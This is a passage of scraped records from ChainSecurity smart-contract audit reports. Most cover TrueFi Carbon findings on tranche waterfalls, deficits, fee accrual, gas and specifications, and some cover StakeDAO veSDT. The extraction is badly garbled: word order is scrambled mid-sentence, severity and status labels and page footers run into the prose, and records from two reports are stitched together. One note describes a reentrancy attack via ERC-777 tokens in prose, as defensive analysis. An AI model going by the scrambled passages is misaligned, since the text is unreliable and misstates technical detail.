the other tranches suffer from the loss. Risk accepted: TrueFi accepted the risk giving the following statement: Shouldn\u2019t occur, but in case managers want to be safe, withdrawals can be disabled before calling StructuredPortfolio.markLoanAsDefaulted. TrueFi - Carbon - 12 DesignMediumVersion1RiskAcceptedSecurityMediumVersion1RiskAccepted \f5.4 Fee Transfer DoS Fees are (as long as funds are available) transferred onto the protocol treasury and manager beneficiary address on every interaction. Since the manager beneficiary might be an EOA also used in other activities, and since some tokens implement blacklisting (e.g., USDC) or pausing (e.g., BNB), portfolios using such underlying tokens could be susceptible to a Denial of Service when the manager beneficiary address is used in an illicit activity or the token is set to a paused state. CS-TFCarbon-004 Risk accepted: TrueFi responded: Both addresses are trusted and can be changed in case of emergency. Changes were introducing too much complexity in the code. There was a code change in setManagerFeeBeneficiary to first change beneficiary and then pay the fee as otherwise function was reverting. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "5.5 Lost Repayments in Closed State", "body": " If a portfolio is closed, users are encouraged to withdraw their assets as no interest accrues anymore but protocol fees are still accrued. If a tranche is completely emptied by withdrawals (i.e. there are no more shares) and a repayment occurs, the repaid value in that tranche is lost as no one is able to withdraw these assets (apart from the protocol admin that can update the implementation contract). CS-TFCarbon-005 Risk accepted: The client accepts the risk with the following statement: By default there is protocol fee in closed state to encourage withdrawal of the assets as there always is small smart contract risk. But in case there was a default and the manager is in process of regaining the assets they should create a proposal to disable protocol fees on that portfolio. It\u2019s the matter of communication between manager and lenders. If they want to exit early they can, but then they won\u2019t be able to profit from recovered funds. TrueFi - Carbon - 13 SecurityLowVersion1RiskAcceptedDesignLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 0 1 3 12 -Severity Findings -Severity Findings Waterfall Miscalculation -Severity Findings Calling StructuredPortfolio.updateCheckpoints Increases Deficit Fees in Deficit No Deficit Update on Deposit / Withdrawal -Severity Findings Fee Accrual on Unpaid Fees Unpaid Fee Calculation Balance Underflow Gas Optimizations Imprecise Specifications Missing Interface Functions Missing Sanity Check Shadowed Variable Specification Nonconformity Unused Function Unused Return Value configure Function Does Not Include TransferController ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "6.1 Waterfall Miscalculation", "body": " CS-TFCarbon-013 The can StructuredPortfolio.updateCheckpoints. We expect the following property to hold: updated tranche anyone value be by of a by calling Executing updateCheckpoints consecutively in one block (with no other transactions in between) should not change the checkpoints since no time has passed and the value of the portfolio has not been changed. However, this property does not hold. To showcase that, we need to consider how the waterfall is calculated. The waterfall is calculated by using each tranche's checkpoints and adding the deficit of a tranche to it. This is considered the total assumed value of the tranche. This means that if we would call TrueFi - Carbon - 14 CriticalHighCodeCorrectedMediumCodeCorrectedCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessHighVersion1CodeCorrected \fupdateCheckpoints multiple times, the deficit of a tranche would be added up again on every calculation of the waterfall. Normally, however, this is not the case since the resulting waterfall values are bound by the total value of the portfolio (virtual token balance + loans value) that hasn't been used by the less risky tranches. Therefore, we assume the following property: If a tranche has a deficit > 0, all riskier tranches (i.e., all tranches with a lower waterfall index) have a value of exactly 0. In practice, this assumption does not hold as can be seen in the following example (assuming no fees and no compounding for simplification): The senior tranche has a 1% interest. The junior tranche has a 2% interest. Each tranche holds a value of 100 tokens. Two loans are issued: Loan A: 102 tokens with 0% interest. Loan B: 180 tokens with 10% interest. Loan A defaults. A deficit of 2 tokens is added to the junior tranche and the equity tranche now holds 0 value. After one year, the total assets of the portfolio is 216 (18 tokens in balance + 180 tokens in principal of open loans + 18 tokens in interest). The Senior tranche should hold 101 tokens. The Junior tranche should hold 102 tokens but still has a deficit of 2 tokens. The equity tranche is assigned 13 tokens. This violates the assumed property. We can now call StructuredPortfolio.updateCheckpoints multiple times and add up the deficit of 2 tokens, until the value of the junior tranche is 115 and the value of the equity tranche is 0. After 1 year, the junior tranche has now accrued 15% interest while it should have accrued 2%. In other words, calling the StructuredPortfolio.updateCheckpoints consecutively changes the value of the tranches. If some loan in a portfolio has defaulted, StructuredPortfolio.updateCheckpoints subtracts the delta of the previous and the updated value of a tranche from the tranche's deficit. This allows the deficit to be settled with accrued interest, fixing the described problem. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "6.2 Calling ", "body": " StructuredPortfolio.updateCheckpoints Increases Deficit Given a portfolio where all 3 tranches have a value of 100 tokens each and the manager fee is set to 2% for all tranches, consider the following sequence: CS-TFCarbon-007 TrueFi - Carbon - 15 CorrectnessMediumVersion3CodeCorrected \f1. A loan is issued for 300 tokens, i.e., the full value held by the portfolio (with 1% interest). 2. The loan is marked as defaulted. 3. This means that the deficit for the senior and the junior tranches is 100 and the value held by them is 0. 4. A year passes by. 5. A user calls StructuredPortfolio.updateCheckpoints. At this point the assumed value of the senior tranche is 103 i.e., 2 tokens manager fee plus the deficit which is 101 for each tranche. The real assets held are 0 thus the new deficit is set to 103 which gets checkpointed. 6. A user calls StructuredPortfolio.updateCheckpoints again. At this point the assumed value is 105 (103 is the previous deficit plus 2 for the manager fees). This means that the deficit increases with every call to updateCheckpoints while it shouldn't. Note that when the portfolio closes, the deficit is used to set the maxValueOnClose which determines the amount of assets expected to be filled into each tranche by possible loan repayments. In the current implementation, the fees are properly deducted so that they are not counted multiple times. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "6.3 Fees in Deficit", "body": " StructuredPortfolio._calculateLoansDeficit updates tranche deficits by calculating the current assumed value of the tranche and subtracting the accrued fees and current waterfall value of that tranche. The fees are calculated on the full assumed value (including the deficit generated by defaulted loans): uint256 assumedPendingFees = tranches[i].totalPendingFeesForAssets(assumedTotalAssets); CS-TFCarbon-010 actual The by the TrancheVault.updateCheckpointFromPortfolio. It is calculating fees with the current waterfall value (which does not contain defaulted loans) of the tranche: checkpoints tranches updated are in uint256 pendingFee = _pendingProtocolFee(_totalAssetsBeforeFees); ... uint256 pendingFee = _pendingManagerFee(_totalAssetsBeforeFees); Where _totalAssetsBeforeFees is calculated by this function: function totalAssetsBeforeFees() public view returns (uint256) { if (portfolio.status() == Status.Live) { return portfolio.calculateWaterfallForTrancheWithoutFee(waterfallIndex); } return virtualTokenBalance; } TrueFi - Carbon - 16 CorrectnessMediumVersion1CodeCorrected \fIn the case of defaulted loans, these 2 calculations diverge as the assumed value will be higher in tranches with a deficit. Therefore, the calculated fees will be higher as well, reducing the deficits over time while the (paid or unpaid) fees over that time frame are smaller. If at any point the defaulted loan is repaid, the difference will be awarded to the equity tranche. Consider the following (extreme for demonstration) example: Consider a portfolio with a really long duration (more than 50 years). Then manager (and/or protocol) fee are 2%. Junior tranche has 5% interest, senior tranche has 2% interest. Each tranche has 100 value. A loan of 300 value, 1 year runtime and 10% interest is issued. 1 year later, the loan defaults resulting in 0 value for all tranches and 105 / 103 deficit for junior / senior tranche. 50 years later updateCheckpoints is called. The deficit of junior and senior tranches is now set to 0. Each tranche has ~2 tokens in unpaid fees. The loan is repaid. Junior and senior tranche hold 0 tokens value, while the equity tranche holds 324 tokens value. Fees are now calculated only based on the value of the waterfall calculation and they are propagated along the execution of the StructuredPortfolio.updateCheckpoints as using the array pendingFees. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "6.4 No Deficit Update on Deposit / Withdrawal", "body": " TrancheVault.deposit() / mint() and withdraw() / redeem() update their checkpoints locally but never call StructuredPortfolio.updateCheckpoints(). Therefore, the deficit in the tranchesData struct is not updated to the latest value before a user deposit / withdrawal is processed. This means, that the period from the last checkpoint update up until the user action is not accounted for. Consider the following example: CS-TFCarbon-015 The given vault accrues no fees. The junior tranche accrues 5% interest per year. The senior tranche accrues 3% interest per year. All tranches hold a value of 100 tokens in the beginning. 300 tokens have been disbursed. 180 tokens have been marked as defaulted. The junior tranche now has 20 totalAssets and 80 deficit. 1 year passes without any interaction on the protocol. A new user deposits 100 tokens to the junior tranche. The senior tranche now holds 103 tokens while the junior tranche holds 117 tokens and 80 tokens deficit. The manager updates the outstandigAssets back to 300 tokens. TrueFi - Carbon - 17 CorrectnessMediumVersion1CodeCorrected \f The junior tranche now holds a value of 201 tokens. If we, instead, run updateCheckpoints right before the new deposit, the value of the junior tranche is 205 tokens instead. That is, because the call updates the deficit of the tranche to 88 tokens (80 + 3 tokens shifted to senior tranche + 5 tokens interest accrued), accounting for the accrued interest. Deficits are now stored in the TrancheVault checkpoints instead of the StructuredPortfolio and updated every time, the checkpoints are updated. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "6.5 Fee Accrual on Unpaid Fees", "body": " Fees are calculated by TrancheVault.totalPendingFeesForAssets on the current waterfall value of the tranche. The waterfall value is calculated by _assumedTrancheValue which calculates totalAssets: uint256 assumedTotalAssets = _withInterest(checkpoint.totalAssets, targetApy, timePassedSinceCheckpoint) + checkpoint.unpaidFees; CS-TFCarbon-006 totalPendingFeesForAssets calculates the _pendingProtocolFee: _accruedFee(checkpoint.protocolFeeRate, _totalAssetsBeforeFees) ... and the _pendingManagerFee: _accruedFee(managerFeeRate, _totalAssetsBeforeFees) ... based on the totalAssets value that includes the unpaid fee. That means fees are calculated on past fees if they cannot be paid out immediately. Unpaid fees are now deducted from the waterfall value. This means that unpaid fees do not contribute to the value on which the fees accrue. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "6.6 Unpaid Fee Calculation", "body": " If the protocol's virtualTokenBalance is lower than the amount of fees that have to be paid in a checkpoint update, the unpaid amount is stored to be paid for later soon as the system has some available tokens. Unpaid fees are also added to each tranche's checkpoint. If unpaid fees have been added to a checkpoint and sometime later, the checkpoints are updated, the waterfall is calculated by applying the APY to the checkpoint (that contains the unpaid fee), effectively applying the APY to the fee. The saved unpaid fee is then subtracted from the calculated value. This waterfall value, in turn, is stored in the checkpoint by adding the unpaid fees again. CS-TFCarbon-020 TrueFi - Carbon - 18 DesignLowVersion7CodeCorrectedCorrectnessLowVersion5CodeCorrected \fThe fee is multiplied by the APY, then the fee is subtracted and then added again. This means, there is a slight gain added to the checkpoint in comparison to a checkpoint update without stored unpaid fees. This gain is ultimately taken from the equity tranche. Code Corrected: A new field (unpaidFees) was introduced in the checkpoint struct to store the fees. Thus fees do not contribute to interest accrual of the tranche. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "6.7 Balance Underflow", "body": " StructuredPortfolio.fundLoan calls LoansManager._fundLoan which in turn checks the contract's balance of the underlying token to determine how much principal is available for loan funding. An error message is returned when the requested principal exceeds the balance of the contract. However, fundLoan subtracts the amount of principal from the virtualTokenBalance afterward. If any amount of tokens has been directly transferred to the contract before, the first check could pass, while the subtraction fails, resulting in a revert without the given error message. CS-TFCarbon-021 The following check has been added which prints an informative message: require(virtualTokenBalance >= principal, \"SP: Principal exceeds balance\"); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "6.8 Gas Optimizations", "body": " The following parts of the code could potentially be optimized for gas efficiency: The CustomFeeRate struct used in a mapping in ProtocolConfig requires two storage slots. As the feeRate does not require 256 bits, the struct field could be reduced to a smaller type in order to shrink the size requirement of the struct to 1 storage slot. This should, however, be carefully handled. Redundant storage loads are performed in various places. Some examples are: CS-TFCarbon-012 StructuredPortfolio.initialize loads the tranches variable to emit an event while it is already available in memory variables. StructuredPortfolio.fundLoan checks that the status is Live, then calls updateCheckpoints which performs the same check again. Redundant external calls are performed in various places. Some examples are: StructuredPortfolio.start calls checkTranchesRatios which gets the totalAssets of each tranche. It then calls totalAssets, which, in a status other than Live, gets the totalAssets of each tranche again. TrueFi - Carbon - 19 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f StructuredPortfolio.calculateWaterfall the calculateWaterfallWithoutFees, then proceeds to call totalPendingFees on calls each StructuredPortfolio.calculateWaterfallForTrancheWithoutFee twice. calculates tranche which turn in Redundant storage writes are performed in various places. Some examples are: The loop in StructuredPortfolio.start adds values from each tranche to the virtualTokenBalance storage variable, resulting in multiple storage writes to the same variable. StructuredPortfolio.markLoanAsDefaulted updates tranches and then immediately overwrites these checkpoints. the checkpoints of the In LoanManager._tryToExcludeLoan, in case the last loan is deleted a redundant performed: is assignment activeLoanIds[i] = activeLoanIds[loansLength - 1] Complicated call paths are performed in various places. Some examples are: StructuredPortfolio.checkTranchesRatios calls each tranche's totalAssets which to StructuredPortfolio.calculateWaterfallForTrancheWithoutFee which then calls back to the tranche's getCheckpoint function. status) Live back call (in StructuredPortfolio._defaultedLoansDeficit computes interest even when the deficit of the given checkpoint is 0. Some state variables are never updated and could be set to immutable in StructuredPortfolio: trancheImplementation portfolioImplementation protocolConfig Cheap deployment has been chosen over cheap contract interactions. Gas for user interactions could be greatly reduced by sacrificing deployment costs of managers. For example, in a full deployment of TrancheVault (as opposed to a proxy deployment of a given implementation contract), 4 state variables that are used in many of the state-changing functions could be set to immutable. TrancheVault.checkpoint is declared public while a redundant getter getCheckpoint exists. the In Live state, each vault transfers a chunk of fees from the portfolio to the beneficiary's addresses. As in StructuredPortfolio.updateCheckpoints is sufficient. Even then, fee transfers on every interaction are unnecessarily costly. anyways, portfolio transfer funds held one are the in choices. The gas Most relevant code optimizations have either been implemented or chosen not to be implemented due to design (e.g., StructuredPortfolio.start) slightly and some new inefficiencies have been introduced (e.g., StructuredPortfolio.getTranchesData with StructuredPortfolio.getTrancheData which is a copy of the existing automatic getter). code parts has consumption of increased replaced some been has TrueFi - Carbon - 20 \f6.9 Imprecise Specifications CS-TFCarbon-017 The following specifications are imprecise: The field targetAPY of struct TrancheData is not documented to be in basis points. The field targetAPY of struct TrancheInitData is not documented to be in basis points. StructuredPortfolio.endDate is commented to return the actual end date after the close. This is not true if the portfolio has been closed prematurely. StructuredPortfolio.close is commented to revert if any loans are still active. However, portfolios can always be closed after the end date. StructuredPortfolio.calculateWaterfallForTranche is commented executable by the tranche with the given ID. Such restriction is however not enforced. to be only TrancheVault.updateCheckpointFromPortfolio is commented to be only executable in Live state. However, there is no restriction preventing it from being executed in Closed state. Nevertheless, StructuredPortfolio is calling the function in Live state only. Moreover in the extra documentation provided to us: It is mentioned that deposits are blocked in Closed state and withdrawals are blocked in CapitalFormation state. However, this is never enforced in the code. Specification changed: The specification has been updated to correctly describe the code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "6.10 Missing Interface Functions", "body": " Some interfaces are missing public functions that are implemented in the contracts. Here are two examples: ITrancheVault is missing the declaration for setTransferController. ITrancheVault is missing the declaration for totalAssetsWithoutFees. CS-TFCarbon-016 Both functions have been added to the interface. totalAssetsWithoutFees was renamed to totalAssetsBeforeFees. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "6.11 Missing Sanity Check", "body": " A sanity check is missing in TrancheVault.deposit. More specifically, the function does not prevent the parameter amount from being 0 while mint which implements similar functionality does. CS-TFCarbon-008 TrueFi - Carbon - 21 DesignLowVersion1Speci\ufb01cationChangedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f The missing sanity check has been added. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "6.12 Shadowed Variable", "body": " The variable fixedInterestOnlyLoans in StructuredPortfolio.initialize is shadowed by a storage variable with the same name. While this does not impact the functionality of the given code, it could create problems during code maintenance. CS-TFCarbon-019 The name of the variable has been changed to _fixedInterestOnlyLoans. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "6.13 Specification Nonconformity", "body": " The architecture specification states that They [vaults] do not store the capital, they only handle interactions between the investors and the portfolio. This is in contrast to the fact that vaults store balances both in CapitalFormation and Closed states. CS-TFCarbon-011 Specification changed: The specification has been updated to the following: They store the capital when the portfolio is NOT in the Live state (so in the Capital Formation state and in the Closed state). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "6.14 Unused Function", "body": " The internal function TrancheVault._requirePortfolioOrManager is never used inside of TrancheVault. CS-TFCarbon-014 The function has been removed. TrueFi - Carbon - 22 DesignLowVersion1CodeCorrectedDesignLowVersion1Speci\ufb01cationChangedDesignLowVersion1CodeCorrected \f6.15 Unused Return Value TrancheVault._payProtocolFee and TrancheVault._payManagerFee return the protocol fee and the manager fee paid respectively. However, this value is never used. CS-TFCarbon-009 The return values have been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "6.16 configure Function Does Not Include", "body": " TransferController The function TrancheVault.configure can be used to simultaneously set multiple variables configurable by the portfolio manager. While DepositController and WithdrawController can be set, TransferController is not included in the function. CS-TFCarbon-018 The TransferController can now be set in the TrancheVault.configure function. TrueFi - Carbon - 23 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "7.1 Ambiguous Deficit Data in Closed State", "body": " Deficit checkpoints are used to determine the potential interest of tokens that have been lost due to defaulted loans (which can still be repaid in some circumstances). In Closed state, no interest is accrued. Therefore, repayments of defaulted loans are not decreasing the deficit again. However, a call to StructuredPortfolio.close still updates the deficit checkpoints. This update works in a non-intuitive fashion and results in ambiguous data: If a portfolio with no defaulted loan is closed, the deficit will be 0. If, on the other hand, a portfolio with at least one defaulted loan is closed, all loan values (including the loans that have not defaulted) are counted towards the deficit. While this is not problematic for Carbon itself, other contracts integrating with it might rely on consistent data. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "7.2 Compounding Interest Computed in Arbitrary", "body": " Intervals Every time the checkpoints are updated through a state-changing function, interest is compounded. Since StructuredPortfolio.updateCheckpoints can be called at any time during Live status, the results can be different. Consider the following example: A user deposits 100 tokens on a tranche with 10% APY. After 1 year of inactivity on the platform, they receive a yield of 10 tokens. If the user calls updateCheckpoints after 6 months, they receive a yield of 10.25 tokens after 1 year. If the user calls updateCheckpoints each month, they receive a yield of 10.47 tokens after one year. The same situation produces different results based on how often the checkpoints are updated (without any other interactions). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "7.3 Fee Accrual in Closed State", "body": " Fees are still accrued in Closed state. TrueFi claims this is done to incentivize fast withdrawals. However, withdrawals in Closed state might still be delayed by late loan repayments. TrueFi - Carbon - 24 NoteVersion3NoteVersion1NoteVersion1 \f7.4 Fee Accrual on Yield Fees are accrued on the principal plus the yield on each tranche. This means that the same percentage of yield and fees on a tranche results in negative growth. For example, a tranche with 100 tokens value, 2% yield and 2% fees will have 99.96 value after one year. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "7.5 Manager Fee Accrual", "body": " Manager fees are accrued on the virtualTokenBalance plus the value of the currently running loans. If a loan defaults and the manager marks the loan as defaulted on-chain, manager fees are no longer accrued on the loan. Therefore, managers are incentivized to not mark loans as defaulted until the portfolio is closed, resulting in bigger fees than necessary for lenders. The fee accrual for non-defaulted loans can even go beyond the runtime of the loan. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "7.6 Only the Recipient of a Loan Can Repay It", "body": " The system allows only LoanManager._repayFixedInterestOnlyLoan by the following line: recipients of a repay loan the to it. This is enforced in the require(fixedInterestOnlyLoans.recipient(loanId) == msg.sender, \"LM: Not an instrument recipient\"); Users losing their private keys will not be able to repay their loans in any way. TrueFi claims that only KYC addresses should be able to repay loans. However, there is no mechanism implemented that deals with the aforementioned problem. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "7.7 Skewed Interest Distribution", "body": " Protocol and manager fees are calculated from the whole balances instead of the accrued interest. This potentially results in skewed interest rate distributions depending on the chosen fee rates per tranche. Consider the following example: The protocol fee is 1% and the manager fee is 1% on every tranche. The junior tranche has 5% interest and 100 tokens in value. The senior tranche has 3% interest and 100 tokens in value. Without fees (and disregarding compounding effects), the tranches will yield 5 and 3 tokens in yield respectively. With fees (and disregarding compounding effects), the tranches will yield 2.9 and 0.94 tokens respectively. The ratio is now different after accounting for fees as 5 / 3 !== 2.9 / 0.94. TrueFi - Carbon - 25 NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \f7.8 Use of Non-standard ERC20 Tokens Managers (and users) should be aware that using a non-standard ERC20 token as the underlying can be dangerous for the system. Non-standard ERC20 tokens include but are not limited to the following behaviors: Tokens With Reentrancies: If a portfolio is set up with an underlying token that is reentrant (e.g., ERC-777), various possibilities of reentrancy attacks are enabled. Here is an example of one possible attack vector: A portfolio consists of 3 tranches and is in Live status with no active loans. Users have deposited 100 tokens to each tranche with no accrued interest (i.e. 1 share per token). An attacker calls deposit on the junior tranche with 99 tokens. In the safeTransferFrom call, the underlying token calls back to the attacker's contract. At this point, the checkpoint of the junior tranche has already been updated, while the virtualTokenBalance in the portfolio has not. The attacker now reenters into the deposit function if the equity tranche with a deposit of 100 tokens. 10,000 shares are minted to the attacker as the virtualTokenBalance is still 300, while the checkpoints of senior and junior tranches return a sum of 299 tokens, leaving only 1 token for the equity tranche waterfall value. After the call, the attacker now holds shares representing 99 tokens in the junior tranche and ~198 tokens in the equity tranche resulting in an instant profit of ~98 tokens. Tokens With Fees: When transferring tokens with fees, the receiver does not get the amount the sender sends but a part of it as fees are deducted. However, updating the virtualTokenBalance for example makes the assumption the whole amount has been received. Thus, repetitive transfers will create a discrepancy between the internal accounting of the portfolio which uses the virtualTokenBalance and the actual amount held by the portfolio. Rebasing Tokens: With rebasing tokens, the amount of tokens each account holds changes over time. This will lead, similarly to tokens with fees, to internal accounting being wrong. Pausable Tokens: When a token is paused, it might revert on every call to functions like transfer. As Carbon extensively uses transfers in many functions, the system could become unusable on such occasions. TrueFi - Carbon - 26 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "5.1 No Sanity Check on _start_time", "body": " There is no sanity check on _start_time in FeeDistributor.__init__. Acknowledged StakeDAO acknowledged the issue. StakeDAO - StakeDAO-Frax-veSDT - 14 DesignCorrectnessCriticalHighMediumLowAcknowledgedAcknowledgedAcknowledgedAcknowledgedAcknowledgedAcknowledgedCodePartiallyCorrectedCodePartiallyCorrectedAcknowledgedAcknowledgedCodePartiallyCorrectedCodePartiallyCorrectedAcknowledgedAcknowledgedAcknowledgedDesignLowVersion4Acknowledged \f5.2 Broad Function Visibility: approveWallet The visibility of the function SmartWalletWhitelist.approveWallet is public, however it is not called internally. For functions that are expected to be called from other contracts only, the function visibility can be restricted to external instead of public. This allows to save gas costs, as public functions copy array function arguments to memory which can be expensive. Acknowledged StakeDAO acknowledged the issue. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "5.3 Inconsistent Checks When Depositing in ", "body": " veSDT The function increase_amount requires that the msg.sender is either an externally owned contract or a whitelisted contract: self.assert_not_contract(msg.sender) However, the function deposit_for performs the same operation if addr is msg.sender and does not have the above restriction. Acknowledged StakeDAO acknowledged the issue. It is connected to a vyper bug which also affects another issue. The bug was resolved in version 0.3.1. More information: Fix allocation of unused storage slots ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "5.4 Inconsistent Procedure for Updating admin", "body": " Multiple contracts have an admin role that is privileged and can call sensitive functions. However, the procedure to update such privileged roles is not consistent among different contracts. Namely, SmartWalletWhiteList uses commit/apply approach, meaning the current admin initially calls commitAdmin and then should call applyAdmin to set the new admin. While, LiquidityGaugeV4, FeeDistributor, veBoostProxy use commit/accept approach. Differently from the previous contracts, veSDT provides both procedures commit/accept and commit/apply to update the admin. Acknowledged StakeDAO acknowledged the issue. StakeDAO - StakeDAO-Frax-veSDT - 15 DesignLowVersion3AcknowledgedCorrectnessLowVersion3AcknowledgedDesignLowVersion3Acknowledged \f5.5 Mismatch of Specification With the Function Modifier in AngleLocker The specification of the AngleLocker's function createLock states that it can only be called by governance or proxy, however, the modifier onlyGovernance is used and the mentioned proxy is not declared anywhere. Acknowledged StakeDAO acknowledged the issue and replied: The specification comment is wrong because it mentioned a proxy where it is not declared at the end. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "5.6 Missing Documentation for Parameter", "body": " The function GaugeController.__init__ has no NatSpec description for the parameter admin. Acknowledged The NatSpec has not been updated. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "5.7 Missing Events for Sensitive Operations", "body": " Multiple contracts do not emit events when sensitive operations are performed, e.g., the update of the admin for a contract. We provide below some examples: SmartWalletWhitelist.sol: applyAdmin and applySetChecker. ClaimRewards.sol: setGovernance. SdtDistributor.sol: initializeMasterchef, setDistribution and setTimePeriod. LiquidityGaugeV4.vy: add_reward, set_reward_distributor and set_claimer. Code partially corrected StakeDAO added a new event for the function setGovernance of ClaimRewards.sol. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "5.8 Missing Sanity Checks", "body": " Several setter functions in multiple contracts do not perform sanity checks for the new values that are set. We provide examples of such cases below: StakeDAO - StakeDAO-Frax-veSDT - 16 CorrectnessLowVersion3AcknowledgedDesignLowVersion3AcknowledgedDesignLowVersion3CodePartiallyCorrectedDesignLowVersion3CodePartiallyCorrected \f SdtDistributor.sol: _masterchef parameter in initialize and _delegateGauge in setDelegateGauge. LiquidityGaugeV4.vy: _distributor in add_reward. veSDT.vy: token_addr in initialize and addr in commit_smart_wallet_checker. FeeDistributor.vy: _start_time in the constructor. Code partially corrected StakeDAO added some checks but the following values still lack sanity checks: SdtDistributor.sol: _delegateGauge in setDelegateGauge. LiquidityGaugeV4.vy: _distributor in add_reward. veSDT.vy: addr in commit_smart_wallet_checker. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "5.9 Missing Sanity Checks: AngleLocker", "body": " The setter functions take an address as a parameter and assign it to a state variable. Given the sensitivity of such functions, basic sanity checks on the input parameter help to eliminate the risk of setting address(0) to the state variable of the contract by accident (e.g. UI bugs). Acknowledged StakeDAO decided to keep the function as it is and explained that its parameters will be reviewed carefully and that it won't be managed through a user interface. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "5.10 Non-indexed Events", "body": " Events can be indexed to easily filter and search for the indexed arguments. This is used in most contracts. Without full specification about what needs indexing we simply highlight that the following occasions are not indexed and the need of indexing should be revised by StakeDAO. Completely no indexed events in BaseAccumulator Completely no indexed events in ClaimRewards Completely no indexed events in GaugeController Multiple not indexed events in LiquidityGaugeV4 Multiple not indexed events in veBoostProxy No indexed events in CommitAdmin and ApplyAdmin in FeeDistributor Acknowledged StakeDAO replied: StakeDAO - StakeDAO-Frax-veSDT - 17 DesignLowVersion3AcknowledgedDesignLowVersion3Acknowledged \fWe decided to not include indexed parameters within the events definition because they will increase the gas a little bit and also, we could fetch externally the same info using theGraph. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "5.11 Possible Gas Optimization in Mappings", "body": " Multiple contracts of the system use mappings in the format: mapping(key_type => bool). Solidity uses a word (256 bits) for each stored value and performs some additional operations when operating bool values (due to masking). Therefore, using uint256 instead of bool is slightly more efficient. We provide below the list of mappings that can be optimized: SmartWalletWhitelist.sol: wallets. ClaimRewards.sol: gauges. SdtDistributor.sol: killedGauges, isInterfaceKnown and isGaugePaid. Code partially corrected StakeDAO changed the mapping gauges in ClaimRewards.sol from mapping(key_type => bool) to mapping(key_type => uint256) and modified all the functions using it accordingly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "5.12 Unused Events", "body": " Several contracts declare events that remain unused in the existing code base. The StakeDAO should assess if such events should be removed or emit them accordingly. We provide a list of unused events: ClaimRewards.sol: DepositorDisabled, RewardClaimedAndLocked and RewardClaimedAndSent. SdtDistributorEvents.sol: UpdateMiningParameters. GaugeController.vy: KilledGauge. DistributionsToggled, RateUpdated, Code partially corrected StakeDAO deleted the unused events in ClaimRewards but not in SdtDitributorEvents and GaugeController as they were already deployed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "5.13 Missing Sanity Checks: FraxLocker", "body": " The setter functions take an address as a parameter and assign it to a state variable. Given the sensitivity of such functions, basic sanity checks on the input parameter help to eliminate the risk of setting address(0) to the state variable of the contract by accident (e.g. UI bugs). Acknowledged StakeDAO - StakeDAO-Frax-veSDT - 18 